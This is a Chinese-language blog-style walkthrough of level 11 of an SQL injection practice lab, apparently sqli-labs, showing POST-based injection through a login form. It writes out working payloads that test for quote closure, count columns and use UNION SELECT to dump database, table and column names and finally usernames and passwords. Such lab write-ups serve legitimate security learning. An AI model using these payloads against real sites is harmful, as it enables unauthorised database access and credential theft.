文章目录
前言
此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!
一、回顾前十关
前十关是基于get提交的sql注入。sql注入按照注入点类型又分为数字型,字符型。按照回显类型又分为有回显的简单sql注入和无回显的盲注以及报错注入。从这一关开始是post提交的sql注入了,让我们看看有什么不一样的地方吧。
二、第十一关要了解的知识
1、get请求与post请求的区别(从sql注入角度)
1、get请求
get请求一般提交参数是在url显现出来,比如前10关的共同点是网址后面都会加上参数?id=1。像这种直接把提交参数在url显现的是get请求。get请求一般出现在搜索查询的地方,比如常见的淘宝搜索商品界面。
2、post
post请求与get请求相反,不会把提交参数显示到url中。而是提交到表单中,一般参数是看不到的,要通过抓包。post请求一般出现在可以修改和提交数据的地方,比如登录框。
3、总结
post请求比get请求相对安全一些,提交参数不会显示到url,更具有隐蔽性。
三、靶场第十一关通关思路
- 1、判断注入点
- 2、爆字段个数
- 3、爆显位位置
- 4、爆数据库名
- 5、爆数据库表名
- 6、爆数据库列名
- 7、爆数据库数据
1、判断注入点
首先看到页面是一个登录框,明显是post类型的页面。使用万能语句1 or 1=1
和 1 or 1=2
发现页面正常,所以排除数字型。输入1'
发现页面报错(如图一所示)
You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near ‘1’ LIMIT 0,1’ at line 1
那么再试一下(如图二、三所示)
1' or 1=1#
1' or 1=2#
发现1=2页面异常报错,1=1正常。所以是单引号闭合。
注意:这里不用and用or是因为短路原则,因为and是一假为假,两真为真。而且这里我们是不知道参数是啥(账号密码不知道)所以A and B,的A九成是假的(因为你不知道账号密码)如果A为假,那么就不会识别B了(B是我们注入语句)。不懂的看我靶场第一关讲解。
还有就是注入语句不一定只能在username进行,password也行。只要与数据库有交互,还有可控参数的话就能都试一试。
2、爆字段个数
注入语句为
1' order by 3#
发现3时报错,说明显位有两个。(如图所示)
3、爆显位位置
注入语句为
1' union select 1,2#
发现显位是1,2.(如图所示)
4、爆数据库名
注入语句为
1' union select user(),database()#
成功爆出数据库名为security,用户为root@localhost,版本号自己用version()查询就行了。
5、爆数据库表名
注入语句为
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
得到表有emails,referers,uagents,users.其中users有关键信息的概率大。(如图所示)
6、爆数据库列名
注入语句为
1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"#
得到所有列名(如图所示)
7、爆数据库数据
注入语句为
1' union select group_concat(username),group_concat(password) from users #
如图所示
总结
从这一关起开始是post类型的sql注入了,不再是get类型了。但是注入过程都是差不多的。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!